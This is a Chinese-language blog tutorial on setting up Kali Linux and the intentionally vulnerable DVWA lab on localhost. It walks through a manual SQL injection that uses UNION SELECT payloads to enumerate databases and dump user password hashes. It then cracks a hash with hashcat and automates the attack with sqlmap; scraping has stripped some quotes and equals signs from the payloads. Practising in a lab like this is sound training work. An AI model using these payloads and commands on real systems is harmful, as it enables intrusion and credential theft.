如何成为黑客:(Kali配置与DVWA渗透实战全攻略)

发布时间:2026/9/22 23:23:03

如何成为黑客:(Kali配置与DVWA渗透实战全攻略)
第一部分环境搭建步步截图级详细步骤1准备虚拟机与Kali Linux下载并安装虚拟机软件ul前往VirtualBox(https://www.virtualbox.org/) 或VMware Workstation Player(Fusion and Workstation | VMware) 官网下载并安装对应您主机系统Windows/macOS/Linux的版本。下载Kali Linux镜像访问Kali Linux 官方下载页(Get Kali | Kali Linux)选择 “Kali Linux Virtual Machines”下载适用于您虚拟机软件的版本如.ova用于 VirtualBox.vmx用于 VMware。导入并启动KaliVirtualBox打开软件 - 管理 - 导入虚拟电脑 - 选择下载的.ova文件 - 点击“导入”。导入后在列表中选择它点击“启动”。VMware打开软件 - 文件 - 打开 - 选择下载的.vmx文件。打开后点击“播放虚拟机”。默认登录凭证用户名kali密码kali。更新系统在Kali终端中执行sudo apt update sudo apt full-upgrade -y 步骤2配置攻击机Kali网络与工具设置网络为桥接模式确保攻击机和靶机在同一局域网在虚拟机软件中找到 Kali 虚拟机的设置 → 网络 → 连接方式 → 选择桥接网卡。这样 Kali 会从您的家庭路由器获取一个独立IP如同另一台真实电脑。获取Kali的IP地址ip addr show找到inet后面的地址如192.168.1.105记下它。安装并启动必要服务# 启动Apache和MySQL服务部分工具依赖 sudo systemctl start apache2 sudo systemctl start mysql 设置MySQL root密码按提示操作 sudo mysql_secure_installation步骤3部署靶机DVWA下载并解压DVWApresudo wget https://github.com/digininja/DVWA/archive/master.zip sudo unzip master.zip sudo mv DVWA-master dvwa配置数据库# 登录MySQL密码是上一步设置的 sudo mysql -u root -p在 MySQL 提示符下依次执行preCREATE USER dvwalocalhost IDENTIFIED BY pssw0rd; GRANT ALL PRIVILEGES ON dvwa.* TO dvwalocalhost; FLUSH PRIVILEGES; exit;配置DVWAcd /var/www/html/dvwa/config sudo cp config.inc.php.dist config.inc.php sudo nano config.inc.php 找到以下行确保它们与下面一致$_DVWA[ db_password ] 必须与上面创建的密码匹配 php $_DVWA[ db_server ] 127.0.0.1; $_DVWA[ db_database ] dvwa; $_DVWA[ db_user ] dvwa; $_DVWA[ db_password ] pssw0rd; $_DVWA[ default_security_level ] low; // 将安全级别设为“低”便于练习 按 CtrlX然后按 Y再按 Enter 保存退出。修改文件权限并重启服务sudo chown -R www-data:www-data /var/www/html/dvwa sudo chmod -R 755 /var/www/html/dvwa sudo systemctl restart apache2 访问DVWA在Kali的浏览器中打开http://127.0.0.1/dvwa/setup.php。点击页面底部的“Create / Reset Database”按钮。成功后使用默认凭证登录用户名admin密码password。第二部分实战操作以SQL注入为例步骤1侦察与目标确认在Kali中打开终端确认靶机DVWA的IP。由于靶机就是Kali本机所以IP是127.0.0.1。使用nmap快速扫描确认服务 应能看到80/tcp open http Apache httpd。步骤2手动SQL注入漏洞利用极度详细访问漏洞页面在浏览器中登录DVWA (http://127.0.0.1/dvwa)。左侧菜单栏点击DVWA Security将安全级别设为Low点击Submit。点击SQL Injection。探测注入点在输入框User ID中输入1点击Submit。页面显示用户ID为1的用户信息admin。关键测试1错误探测输入1数字1加一个单引号点击提交。观察页面返回SQL语法错误信息如You have an error in your SQL syntax...。这强烈暗示存在SQL注入漏洞因为单引号破坏了原SQL语句结构。关键测试2逻辑验证输入1 AND 11点击提交。页面应正常返回ID为1的用户信息。再输入1 AND 12点击提交。页面应返回空因为12为假。这确认我们可以通过注入逻辑控制SQL查询条件。确定字段数为UNION查询做准备输入1 ORDER BY 1 #提交。页面正常。输入1 ORDER BY 2 #提交。页面正常。输入1 ORDER BY 3 #提交。观察页面可能报错或返回空。这说明原始查询结果有2列。#是MySQL的注释符用于注释掉后面的SQL代码。使用UNION查询获取数据库信息输入1 UNION SELECT 1,2 #提交。观察页面某处通常在ID和First name位置会显示数字1和2。这表示这两个位置可以回显我们UNION查询的结果。获取当前数据库名输入1 UNION SELECT database(), version() #提交。页面会在对应位置显示当前数据库名应为dvwa和MySQL版本号。获取所有数据库名输入1 UNION SELECT schema_name, NULL FROM information_schema.schemata #提交。页面会列出MySQL中所有数据库的名称。获取当前数据库的所有表名输入1 UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema database() #提交。页面会显示dvwa数据库中的所有表如guestbook、users等。获取关键表如users的列名输入1 UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_schema database() AND table_name users #提交。页面会显示users表的所有列名如user_id、first_name、last_name、user、password、avatar等。最终攻击拖取用户凭证输入1 UNION SELECT user, password FROM users #提交。页面将直接显示所有用户名和经过MD5哈希的密码。例如admin的密码哈希是5f4dcc3b5aa765d61d8327deb882cf99。密码破解离线复制5f4dcc3b5aa765d61d8327deb882cf99。在Kali终端中使用hashcat或在线MD5解密网站仅用于练习进行破解。这是一个非常简单的MD5哈希对应明文是password。使用hashcat的命令示例echo 5f4dcc3b5aa765d61d8327deb882cf99 hash.txt hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --forcerockyou.txt是Kali自带的常用密码字典。步骤3使用自动化工具sqlmap进行验证启动Burp Suite并设置代理可选用于拦截请求ul在Kali中打开Burp Suite (Community Edition)。打开浏览器设置代理为127.0.0.1:8080。访问DVWA的SQL注入页面提交一个正常请求如id1在Burp中拦截该请求将其右键 - Copy to file保存为request.txt。使用sqlmap在终端中进入保存request.txt的目录执行sqlmap -r request.txt --batch --dbs * -r request.txt从文件中读取HTTP请求。 * --batch以非交互模式运行自动选择默认选项。 * --dbs枚举数据库。sqlmap会自动检测注入点、类型并列出所有数据库。后续可以使用-D dvwa --tables枚举表-D dvwa -T users --dump导出表数据。第三部分环境清理与报告模板清理# 在Kali中删除DVWA sudo rm -rf /var/www/html/dvwa # 在MySQL中删除数据库和用户 sudo mysql -u root -pDROP DATABASE dvwa; DROP USER dvwalocalhost; exit;渗透测试报告简化模板# 渗透测试报告 - DVWA靶场 目标: http://127.0.0.1/dvwa 测试类型: 授权白盒测试 发现日期: [日期] 1. 高危漏洞 - SQL注入 (CWE-89) 位置: /dvwa/vulnerabilities/sqli/ 参数: id (GET) 安全级别: Low 漏洞描述 应用程序未对用户输入的id参数进行过滤直接拼接至SQL查询语句中导致攻击者可执行任意SQL命令。 复现步骤 访问 http://127.0.0.1/dvwa/vulnerabilities/sqli/。 在输入框输入 1 UNION SELECT user, password FROM users # 点击提交。 影响 成功获取users表中所有用户的登录名及MD5哈希密码导致凭证泄露可进一步破解并获取系统权限。 修复建议 使用参数化查询预编译语句。 PHP示例使用PDO $stmt-gt;execute([id gt;$id]); $results $stmt-gt;fetchAll();对输入进行严格的类型转换如intval($id)。遵循最小权限原则数据库用户不应拥有information_schema的访问权限。

相关新闻

太空AI化:技术奇点与轨道计算的未来

太空AI化:技术奇点与轨道计算的未来

2026/8/23 12:56:45

1. 访谈核心观点解析马斯克在最新3小时访谈中提出的太空与AI发展预测,本质上是对技术奇点临近的又一次预警。这位科技狂人向来以激进的时间表著称,但这次提出的"36个月窗口期"理论确实包含几个值得深思的技术逻辑:首先将太空视为AI…

LLM微调私有化训练平台架构实战:企业私有数据LoRA增量微调、脱敏闭环与资源隔离生产落地方案

LLM微调私有化训练平台架构实战:企业私有数据LoRA增量微调、脱敏闭环与资源隔离生产落地方案

2026/8/23 12:56:51

前言金融、政务、医疗、政企行业存在大量高涉密、强合规、禁止出网的私有业务数据,无法使用公有云在线微调、无法投喂第三方API、无法公开训练。通用大模型存在行业知识缺失、话术不专业、合规性不足、无法适配内部流程等问题,企业必须基于自有数据完成私…

LingBot-World:基于强化学习的智能对话系统架构与实践

LingBot-World:基于强化学习的智能对话系统架构与实践

2026/8/23 12:56:51

1. LingBot-World项目概述LingBot-World是一个基于强化学习技术的智能对话系统框架,它融合了神经网络架构搜索(NAS)和多智能体强化学习(MARL)等前沿技术。这个项目最吸引我的地方在于它采用了类似NAS-RL的架构搜索机制,通过RNN控制器自动生成和优化对话模…

CANN/GE ACL数据集缓冲区添加函数

CANN/GE ACL数据集缓冲区添加函数

2026/9/21 18:38:46

aclmdlAddDatasetBuffer 【免费下载链接】ge GE(Graph Engine)是面向昇腾的图编译器和执行器,提供了计算图优化、多流并行、内存复用和模型下沉等技术手段,加速模型执行效率,减少模型内存占用。 GE 提供对 PyTorch、Te…

用ffmpeg高效批量调整图片尺寸的实战指南

用ffmpeg高效批量调整图片尺寸的实战指南

2026/9/21 18:41:09

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

Transformers 音频特征提取工具库 audio_utils 全解析:从 Mel 刻度换算到对数 Mel 频谱

Transformers 音频特征提取工具库 audio_utils 全解析:从 Mel 刻度换算到对数 Mel 频谱

2026/9/21 18:36:40

Transformers 音频特征提取工具库 audio_utils 全解析:从 Mel 刻度换算到对数 Mel 频谱 【免费下载链接】transformers 🤗 Transformers: the model-definition framework for state-of-the-art machine learning models in text, vision, audio, and mu…

RustFS 多节点集群重启与滚动升级实战:Readiness、Quorum 与 Degraded 模式完全指南

RustFS 多节点集群重启与滚动升级实战:Readiness、Quorum 与 Degraded 模式完全指南

2026/9/21 18:37:26

RustFS 多节点集群重启与滚动升级实战:Readiness、Quorum 与 Degraded 模式完全指南 【免费下载链接】rustfs 🚀2.3x faster than MinIO for 4KB object payloads. RustFS is an open-source, S3-compatible high-performance object storage system sup…

Java Integer缓存揭秘:128陷阱原理、避坑与面试全解

Java Integer缓存揭秘:128陷阱原理、避坑与面试全解

2026/9/21 18:40:29

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

RustFS Scanner 数据用量发布权威性决策:配额准入如何获得可用的权威依据

RustFS Scanner 数据用量发布权威性决策:配额准入如何获得可用的权威依据

2026/9/21 18:36:17

RustFS Scanner 数据用量发布权威性决策:配额准入如何获得可用的权威依据 【免费下载链接】rustfs 🚀2.3x faster than MinIO for 4KB object payloads. RustFS is an open-source, S3-compatible high-performance object storage system supporting mi…

远程协作的工作台整理

远程协作的工作台整理

2026/9/22 0:19:28

远程协作的工作台整理远程协作的核心不是再加一个工具,而是让交接信息足够完整。异步任务要写明目标、输入位置、完成标准和需要决策的人。 工作台的最小配置 将日程、待办、代码和沟通入口收拢到少数固定位置;通知按紧急程度分层。工作台不需要模仿办公…

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

2026/9/21 23:38:13

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能分类:[AI/大模型]细分主题:AI 增强型 CI/CD 流水线自动化与 GitOps 实践:Agent 工作流、工具调用与任务拆解:从原型到生产的验收清单很多团队在尝试用大…

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

2026/9/22 0:48:53

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场分类:[工程技术]细分主题:Kubernetes 生产环境运维与排障实战:可复制的项目复盘模板与决策记录大部分团队的事故复盘报告,最后都变成了躺在 Confluence 或钉…